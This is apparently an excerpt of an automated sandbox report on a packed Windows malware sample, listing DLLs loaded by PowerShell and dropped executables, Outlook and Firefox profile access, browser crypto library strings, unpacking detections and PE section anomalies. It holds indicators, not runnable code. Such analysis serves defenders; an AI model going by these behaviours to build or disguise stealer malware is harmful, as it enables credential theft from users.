Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: windows.shell.servicehostbuilder.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Section loaded: secur32.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\compatibility.ini

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1794560 > 1048576

Source: file.exe

Static PE information: Raw size of qflvhncs is bigger than: 0x100000 < 0x19c400

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2155860293.000000006F8ED000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2155860293.000000006F8ED000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdbS source: powershell.exe, 00000018.00000002.2742486696.000000000799B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdbT source: powershell.exe, 00000012.00000002.2568634386.000000000712B000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.200000.0.unpack :EW;.rsrc:W;.idata :W; :EW;qflvhncs:EW;uedzvgbu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;qflvhncs:EW;uedzvgbu:EW;.taggant:EW;
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Unpacked PE file: 9.2.DocumentsJKEGIDGDGH.exe.3d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;iaxkupqh:EW;fnhucfqp:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;iaxkupqh:EW;fnhucfqp:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 11.2.skotes.exe.300000.0.unpack :EW;.rsrc:W;.idata :W; :EW;iaxkupqh:EW;fnhucfqp:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;iaxkupqh:EW;fnhucfqp:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Unpacked PE file: 28.2.32eab1d1d8.exe.360000.0.unpack :EW;.rsrc:W;.idata :W; :EW;bydimkjm:EW;rvusllyz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;bydimkjm:EW;rvusllyz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Unpacked PE file: 29.2.10d8464898.exe.1d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;qflvhncs:EW;uedzvgbu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;qflvhncs:EW;uedzvgbu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Unpacked PE file: 43.2.10d8464898.exe.1d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;qflvhncs:EW;uedzvgbu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;qflvhncs:EW;uedzvgbu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	Unpacked PE file: 47.2.ef3d6a004b.exe.6d0000.0.unpack :EW;.rsrc:W;.idata :W;rqwfzwob:EW;llcfprjm:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	Unpacked PE file: 55.2.ef3d6a004b.exe.6d0000.0.unpack :EW;.rsrc:W;.idata :W;rqwfzwob:EW;llcfprjm:EW;.taggant:EW; vs :ER;.rsrc:W;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.10.dr	Static PE information: real checksum: 0x1d8fa4 should be: 0x1cf666
Source: random[1].exe1.10.dr	Static PE information: real checksum: 0x2bda1a should be: 0x2b81d6
Source: ef3d6a004b.exe.10.dr	Static PE information: real checksum: 0x2bda1a should be: 0x2b81d6
Source: DocumentsJKEGIDGDGH.exe.0.dr	Static PE information: real checksum: 0x1d18cc should be: 0x1dc00d
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x439f3e should be: 0x431e44
Source: 32eab1d1d8.exe.10.dr	Static PE information: real checksum: 0x1d8fa4 should be: 0x1cf666
Source: 10d8464898.exe.10.dr	Static PE information: real checksum: 0x1b8926 should be: 0x1c4108
Source: 5ff77f639c.exe.10.dr	Static PE information: real checksum: 0x439f3e should be: 0x431e44
Source: random[2].exe.10.dr	Static PE information: real checksum: 0x1b8926 should be: 0x1c4108
Source: file.exe	Static PE information: real checksum: 0x1b8926 should be: 0x1c4108
Source: skotes.exe.9.dr	Static PE information: real checksum: 0x1d18cc should be: 0x1dc00d

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: qflvhncs
Source: file.exe	Static PE information: section name: uedzvgbu
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: DocumentsJKEGIDGDGH.exe.0.dr	Static PE information: section name:
Source: DocumentsJKEGIDGDGH.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsJKEGIDGDGH.exe.0.dr	Static PE information: section name:
Source: DocumentsJKEGIDGDGH.exe.0.dr	Static PE information: section name: iaxkupqh
Source: DocumentsJKEGIDGDGH.exe.0.dr	Static PE information: section name: fnhucfqp
Source: DocumentsJKEGIDGDGH.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .rsrc
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: zxydtulm
Source: random[1].exe.0.dr	Static PE information: section name: buxvmaas
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.9.dr	Static PE information: section name:
Source: skotes.exe.9.dr	Static PE information: section name: .idata
Source: skotes.exe.9.dr	Static PE information: section name:
Source: skotes.exe.9.dr	Static PE information: section name: iaxkupqh
Source: skotes.exe.9.dr	Static PE information: section name: fnhucfqp
Source: skotes.exe.9.dr	Static PE information: section name: .taggant
Source: random[1].exe.10.dr	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name: .idata
Source: random[1].exe.10.dr	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name: bydimkjm
Source: random[1].exe.10.dr	Static PE information: section name: rvusllyz
Source: random[1].exe.10.dr	Static PE information: section name: .taggant
Source: 32eab1d1d8.exe.10.dr	Static PE information: section name:
Source: 32eab1d1d8.exe.10.dr	Static PE information: section name: .idata
Source: 32eab1d1d8.exe.10.dr	Static PE information: section name:
Source: 32eab1d1d8.exe.10.dr	Static PE information: section name: bydimkjm
Source: 32eab1d1d8.exe.10.dr	Static PE information: section name: rvusllyz
Source: 32eab1d1d8.exe.10.dr	Static PE information: section name: .taggant
Source: random[2].exe.10.dr	Static PE information: section name:
Source: random[2].exe.10.dr	Static PE information: section name: .idata
Source: random[2].exe.10.dr	Static PE information: section name:
Source: random[2].exe.10.dr	Static PE information: section name: qflvhncs
Source: random[2].exe.10.dr	Static PE information: section name: uedzvgbu
Source: random[2].exe.10.dr	Static PE information: section name: .taggant
Source: 10d8464898.exe.10.dr	Static PE information: section name:
Source: 10d8464898.exe.10.dr	Static PE information: section name: .idata
Source: 10d8464898.exe.10.dr	Static PE information: section name:
Source: 10d8464898.exe.10.dr	Static PE information: section name: qflvhncs
Source: 10d8464898.exe.10.dr	Static PE information: section name: uedzvgbu
Source: 10d8464898.exe.10.dr	Static PE information: section name: .taggant
Source: random[1].exe1.10.dr	Static PE information: section name:
Source: random[1].exe1.10.dr	Static PE information: section name: .idata
Source: random[1].exe1.10.dr	Static PE information: section name: rqwfzwob
Source: random[1].exe1.10.dr	Static PE information: section name: llcfprjm
Source: random[1].exe1.10.dr	Static PE information: section name: .taggant
Source: ef3d6a004b.exe.10.dr	Static PE information: section name:
Source: ef3d6a004b.exe.10.dr	Static PE information: section name: .idata
Source: ef3d6a004b.exe.10.dr	Static PE information: section name: rqwfzwob
Source: ef3d6a004b.exe.10.dr	Static PE information: section name: llcfprjm
Source: ef3d6a004b.exe.10.dr	Static PE information: section name: .taggant
Source: 5ff77f639c.exe.10.dr	Static PE information: section name:
Source: 5ff77f639c.exe.10.dr	Static PE information: section name: .rsrc
Source: 5ff77f639c.exe.10.dr	Static PE information: section name: .idata
Source: 5ff77f639c.exe.10.dr	Static PE information: section name:
Source: 5ff77f639c.exe.10.dr	Static PE information: section name: zxydtulm
Source: 5ff77f639c.exe.10.dr	Static PE information: section name: buxvmaas
Source: 5ff77f639c.exe.10.dr	Static PE information: section name: .taggant
Source: service123.exe.12.dr	Static PE information: section name: .eh_fram

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_008A5675 push eax; iretd	13_2_008A56A9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_04FB5695 push eax; iretd	15_2_04FB56C9
